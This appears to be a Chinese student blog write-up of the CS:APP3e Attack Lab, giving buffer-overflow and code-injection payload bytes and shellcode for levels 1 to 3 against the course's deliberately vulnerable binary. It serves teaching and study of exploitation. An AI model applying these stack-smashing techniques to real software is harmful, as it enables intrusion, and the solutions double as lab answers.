CSAPP3e - x86-64 assembly code analysis - Attack Lab: Level I

这个lab的目的在于进一步分析汇编码。由于冯氏体系下数据和程序代码都以二进制存储,而且某些不安全的代码可能会在扫描缓冲区时跨越边界,改变一些不应当改变的值,这就给了著名的buffer overflow attack机会。先期知识:最好搞清楚函数调用的机制,弄明白rsp的值和其指向的值到底是什么(可见这篇博客http://www.cnblogs.com/bangerlee/archive/2012/05/22/2508772.html

PART 1要求我使用经典的buffer overflow attack插入我自己的exploit code。首先看level 1(http://csapp.cs.cmu.edu/3e/attacklab.pdf)

void test()
{
int val;
val = getbuf();
printf("No exploit.  Getbuf returned 0x%x\n", val);
}

void touch1()
{
vlevel = 1;       
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

这一关要求我在主程序调用test后以调用touch1结束。

查看getbuf

00000000004017a8 :
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop
很显然bufsize是0x28也就是40,考虑到rsp+0x28后的8个byte那里应该存有下一条指令的地址,我们把它换成touch1的地址,查看汇编可知那是4017c0

考虑到linux是little endian存储的,每个某个数的最小位在最高位置,所以最终结果如下

13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
c0 17 40 00 00 00 00 00
(40个13其实就是一个padding,随便占40个位置就好,注意不要和ascii里的换行符等冲突就行)

官方writeup里提示了怎么查看结果,就是用cat命令接管道用hex2raw将字符串转为二进制码,然后再接管道把这个码feed给ctarget就行


第二个level稍复杂,需要传入一个参数,查看辅助文档可知它就是我们的个人cookie,一个8位16进制数

所以我们还需要考虑让rdi变成这个数,简单写一下汇编码,movq把rdi改成这个数,然后push下条指令的地址(也就是touch2的地址),然后retq就行

用gcc -c命令和objdump -d命令把这个汇编码转换成十六进制机器码,作为输入的开始,然后padding到40个bytes

接着要什么地址呢?这时下一条指令的地址应当把我们带回我们输入的字符串那里(因为这就是我们的exploit code),设断点调试可以看到,getbuf在调用Gets之前

rsp的值是0x5561dc78,这就是我们字符串的开头地址,也是40个bytes后应当存的了

结果:

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
78 dc 61 55 00 00 00 00 

其中的exploit code:

   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq  

第三个和第二个很相似,区别仅在于传递的参数变成了一个指向字符串的指针而不是数,看touch3的代码可知要通关必须让这个指针指向一个字符串化的cookie

cookie已知,查ascii表很容易转成十六进制码,注意尾部加00

问题在于这个串要存在哪里。我一开始把它存错了地方,后来看提示加别人的报告才知道,getbuf被我们改了表现后其rsp不变,然而又调用了hexmatch函数来检查我们的字符串是否正确,如果我们把串存在getbuf所对应的栈帧内是会被hexmatch调用时改写的。因此我们要把串存在安全的getbuf的父栈帧内,也就是test函数的栈帧,反正不会再调用test,怎么改都行。

注意,由于test栈帧的顶部要存“调用玩getbuf后的下条指令”的地址,为不与其冲突我们的串应当存在顶部往下2个byte的地方(也就是5561dc78+0x28+0x02)

汇编码类似,padding类似,结果:

48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13 13
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00
其中的exploit code:

   0:    48 c7 c7 a8 dc 61 55     mov    $0x5561dca8,%rdi
   7:    68 fa 18 40 00           pushq  $0x4018fa
   c:    c3                       retq   
(这个lab也很有意思的,本来打算认真写但是要期末了,而且已经有很好的报告,所以就简单写过去啦




你可能感兴趣的:(课程学习报告)